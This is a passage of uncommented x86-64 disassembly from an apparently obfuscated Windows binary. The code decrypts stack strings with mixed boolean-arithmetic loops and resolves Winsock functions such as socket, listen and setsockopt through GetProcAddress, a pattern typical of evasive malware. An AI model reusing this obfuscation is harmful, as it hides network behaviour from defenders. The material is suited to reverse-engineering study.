sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add r9b, 0x24
movzx eax, r9b
and al, r10b
mov ecx, 2
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x320], cl
inc r8
dec r11
inc r11
jmp 0x14006d253
lea edx, [r11 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14006d253
movzx r9d, r11b
lea ecx, [r9 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x54
sub r9b, 0x64
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x44
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0x320], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006d253
lea rcx, [r11 + r13]
and sil, cl
add sil, sil
movzx edi, r10b
sub dil, sil
sub dil, 0x7c
add dil, cl
movzx r9d, r11b
add r9b, 0x14
movzx eax, r10b
and al, r9b
mov ecx, 0x3a
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x320], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x50]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x30
add r10b, cl
mov byte [rbp + r11 + 0x320], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x320]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d253
lea rcx, [r11 + r15]
and sil, cl
mov eax, 0xa
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r11 + 0x320]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d253
add r9b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x34
jmp 0x14006d250
sub r9b, 0x4c
movzx eax, r9b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006d240
lea rdx, [rbp + 0x15b5770]
jmp 0x14006dd94
lea rdx, [rbp + 0x5f38ac]
jmp 0x14006dd94
lea rdx, [rbp + 0x320]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x60], rax
mov byte [rbp + 0x350], 0x4a
mov byte [rbp + 0x351], WSAStartup
mov byte [rbp + 0x352], 0x79
mov byte [rbp + 0x353], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x354], WSAStartup
mov byte [rbp + 0x355], 0x7d
mov byte [rbp + 0x356], WSAStartup
mov byte [rbp + 0x357], 0x67
mov byte [rbp + 0x358], 0x5d
mov byte [rbp + 0x359], 0x66
mov byte [rbp + 0x35a], WSAStartup
mov byte [rbp + 0x35b], 0x76
mov byte [rbp + 0x35c], 0x65
mov byte [rbp + 0x35d], 0x60
mov byte [rbp + 0x35e], 0x63
mov byte [rbp + 0x35f], 0x58
mov byte [rbp + 0x360], socket
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x361], xmm0
mov qword [rbp + 0x371], rax
mov dword [rbp + 0x379], eax
mov word [rbp + 0x37d], ax
movabs rsi, 0x68f23c6d4f422781
movabs r15, 0xde9fa6fd2acf1487
movabs r14, 0x3ad6b547edc67683
movzx edi, byte [rbp + 0x400]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x2f
jae 0x14006e986
movzx r10d, byte [rbp + r11 + 0x350]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14006e97d
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006debc
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x79
jmp 0x14006df03
je 0x14006e911
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006e888
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006e830
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14006e80f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006e7eb
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006e7a4
movzx r9d, r11b
cmp r8, r11
ja 0x14006e974
lea rax, [r8 + 9]
cmp rbx, rax
jae 0x14006df31
lea ecx, [r9 - 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x13
jmp 0x14006df70
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006e78c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006e76f
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006e752
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006e723
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006e46c
nop dword [rax]
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006e451
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14006e42b
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14006e408
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006e3ed
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006e3d0
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14006e3b3
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14006e398
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006e37b
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14006e34c
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x20]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14006e957
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14006e93a
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14006e143
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14006e128
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14006e10d
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14006e300
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14006e294
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14006e26c
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14006df80
lea rbx, [r8 + 2]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14006e23d
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14006e220
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14006e205
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14006e1e8
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14006e1cb
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14006e1a8
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14006e17f
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14006e160
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14006df80
lea rbx, [r8 + 8]
lea r8, [rbx + 0x42]
jmp 0x14006df80
lea ecx, [r9 + 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4d
jmp 0x14006df70
lea ecx, [r9 + 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3f
jmp 0x14006df07
add r9b, 7
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x31
jmp 0x14006de90
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006e7be
sub r9b, 0x5a
movzx eax, r9b
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006de73
sub r9b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
dec r11
inc r11
jmp 0x14006de73
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x14006e86c
sub r9b, 0x62
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x52
jmp 0x14006e86f
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x14006e89e
sub r9b, 0x66
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x36
jmp 0x14006e8ca
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
movzx eax, byte [rbp + r11 + 0x350]
add rax, r8
add r11, rax
inc r11
jmp 0x14006de73
add r9b, 0x13
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x7b
mov byte [rbp + r11 + 0x350], dil
inc r11
jmp 0x14006de73
lea ecx, [r9 + 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x69
cmp rbx, 4
jae 0x14006e6e9
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x14006e628
lea ecx, [r9 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
cmp r8, 0x3e8
jb 0x14006e284
lea ecx, [r9 + 0x66]
movzx eax, cl
and al, r10b
mov edx, 0x1b
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14006e7be
lea ecx, [r9 + 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5b
lea rax, [r8 + rbx]
cmp rax, 0x5a
je 0x14006e707
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x14006e564
lea ecx, [r9 - 0x43]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2b
jmp 0x14006e2aa
add r9b, 0x7e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x72
movzx eax, byte [rbp + r11 + 0x350]
add rax, r8
add r11, rax
inc r11
jmp 0x14006de73
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
jmp 0x14006e8ca
lea ecx, [r9 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x56
jmp 0x14006e89e
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
jmp 0x14006e86f
add r9b, 0x76
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3a
jmp 0x14006e86c
lea ecx, [r9 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2c
jmp 0x14006e84a
add r9b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
dec r11
inc r11
jmp 0x14006de73
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
inc r8
dec r11
inc r11
jmp 0x14006de73
lea ecx, [r9 + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 2
jmp 0x14006e7be
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x14006e490
lea ecx, [r9 - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x79
jmp 0x14006e316
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006e4c8
add r9b, 0x2a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x26
movzx eax, byte [rbp + r11 + 0x350]
add rax, r8
add r11, rax
inc r11
jmp 0x14006de73
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006e4ec
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
jmp 0x14006e89e
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006e512
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
jmp 0x14006e86f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006e538
add r9b, 0x32
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5e
jmp 0x14006e86c
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14006e316
lea edx, [r9 + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006e7be
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006e588
lea ecx, [r9 - 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x39
jmp 0x14006e7be
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006e5b4
sub r9b, 0x3d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x55
dec r11
inc r11
jmp 0x14006de73
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006e5da
sub r9b, 0x39
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x71
jmp 0x14006e86c
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006e5fe
lea ecx, [r9 - 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x73
jmp 0x14006e89e
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006e2aa
sub r9b, 0x33
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x65
jmp 0x14006e8ca
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006e660
add r9b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4c
movzx eax, byte [rbp + r11 + 0x350]
add rax, r8
add r11, rax
inc r11
jmp 0x14006de73
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006e684
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x14006e89e
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006e6b3
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14006de73
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006e2d7
add r9b, 0x62
movzx eax, r9b
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006de73
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006e84a
lea edx, [r9 + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006e89e
sub r9b, 0x59
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x6f
movzx eax, byte [rbp + r11 + 0x350]
add rax, r8
add r11, rax
inc r11
jmp 0x14006de73
sub r9b, 0x5b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x7d
jmp 0x14006e8ca
sub r9b, 0x5f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x67
jmp 0x14006e86f
lea ecx, [r9 - 0x69]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x21
jmp 0x14006e7be
movzx r9d, r11b
lea ecx, [r9 - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 5
sub r9b, 0x19
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x51
add r10b, r9b
mov byte [rbp + r11 + 0x350], r10b
inc r8
dec r11
inc r11
jmp 0x14006de73
lea ecx, [r11 - 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 9
inc r8
dec r11
inc r11
jmp 0x14006de73
lea ecx, [r11 - 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x17
dec r11
inc r11
jmp 0x14006de73
movzx r9d, r11b
lea ecx, [r9 - 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x25
sub r9b, 0x17
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x5f
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 + 0x350], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006de73
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x4f
movzx r9d, r11b
sub r9b, 0x15
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x6d
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x350], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x350], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x350]
add rax, r8
add r11, rax
inc r11
jmp 0x14006de73
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x6b
movzx eax, byte [rbp + r11 + 0x350]
add rax, r8
add r11, rax
inc r11
jmp 0x14006de73
add r9b, 5
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x23
jmp 0x14006de70
add r9b, 3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x15
jmp 0x14006de60
lea rdx, [rbp + 0x1728dfc]
jmp 0x14006e98d
lea rdx, [rbp + 0xb4b57d]
jmp 0x14006e98d
lea rdx, [rbp + 0x350]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x58], rax
mov byte [rbp + 0x100], 0x5b
mov byte [rbp + 0x101], gethostname
mov byte [rbp + 0x102], 0x3f
mov byte [rbp + 0x103], 0x20
mov byte [rbp + 0x104], select
mov byte [rbp + 0x105], 0x22
mov byte [rbp + 0x106], 0x30
mov byte [rbp + 0x107], 0x27
mov byte [rbp + 0x108], 0x2c
mov byte [rbp + 0x109], 0x26
mov byte [rbp + 0x10a], 0x3b
mov byte [rbp + 0x10b], 0x27
mov byte [rbp + 0x10c], 0x9a
xor eax, eax
mov qword [rbp + 0x10d], rax
mov word [rbp + 0x115], ax
movabs rsi, 0x457d89685b5031eb
movabs r15, 0xe66ec1da7f315d6d
movabs r14, 0xd0789c3911f095c1
movzx edi, byte [rbp + 0x400]
nop word [rax + rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x17
jae 0x14006f589
movzx r10d, byte [rbp + r11 + 0x100]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14006f580
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006ea8c
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x6d
jmp 0x14006eab9
je 0x14006f514
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006f48a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006f457
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006f40c
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x14006f577
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x14006eaea
lea ecx, [r9 + 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xf
jmp 0x14006eb30
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006f3f3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006f3d0
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006f38f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006f372
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006f353
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006f0b3
nop dword [rax]
lea rcx, [r8 + 0x200]
cmp rbx, rcx
je 0x14006f097
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14006f06e
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006f048
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006f02d
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14006f010
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006eff3
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14006efd4
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006efb4
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14006ef82
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14006eb40
mov rbx, rcx
lea r8, [rcx + 0x61]
lea rcx, [r8 + 0x80]
cmp rbx, rcx
jb 0x14006f55a
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14006f53d
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006ed31
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14006ed16
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14006ecfb
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14006ef2f
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14006eee6
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14006eeaa
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14006ee82
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14006eb40
mov rbx, rcx
lea r8, [rcx + 0x20]
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x14006ee50
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x14006ee30
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x14006ee15
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x14006edf8
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x14006eddb
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x14006edbc
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x14006ed96
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x14006ed6d
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x14006ed4e
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x14006eb40
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x10]
jmp 0x14006eb40
lea ecx, [r9 - 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2f
jmp 0x14006eb30
lea ecx, [r9 - 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x55
jmp 0x14006eac0
sub r9b, 0x13
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7b
jmp 0x14006ea60
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006f42a
add r9b, 0x62
movzx eax, r9b
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006ea43
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14006ea43
lea edx, [r9 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006f3a9
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x14006f46e
add r9b, 0xa
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x46
jmp 0x14006f471
lea ecx, [r9 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
jmp 0x14006f4a0
add r9b, 0x5e
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006f4cd
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x100]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ea43
sub r9b, 0xf
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x69
mov byte [rbp + r11 + 0x100], dil
inc r11
jmp 0x14006ea43
lea ecx, [r9 + 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x43
cmp r8, 0x42
jb 0x14006ee9a
lea edx, [r9 - 0x5e]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14006f42a
lea ecx, [r9 + 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1d
cmp rbx, 0x64
jae 0x14006f321
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x14006f291
lea edx, [r9 + 0x46]
movzx eax, r10b
and al, dl
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006eec0
lea ecx, [r9 + 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 9
lea rax, [r8 + rbx]
cmp rax, 0x2a
je 0x14006f33d
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14006f1bf
lea edx, [r9 - 1]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 7
add dil, dl
jmp 0x14006eefc
sub r9b, 0x56
movzx eax, r9b
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x100]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ea43
sub r9b, 0x2c
movzx eax, r9b
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006f4cd
lea edx, [r9 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006f4a0
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
jmp 0x14006f471
add r9b, 0x52
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3e
jmp 0x14006f46e
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x14006f3a9
sub r9b, 0x5a
movzx eax, r9b
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14006ea43
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006ea43
lea edx, [r9 - 6]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14006f427
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x14006f0de
lea edx, [r9 - 0x15]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x6d
add dil, dl
jmp 0x14006ef45
lea rax, [r8 + 1]
cmp rbx, rax
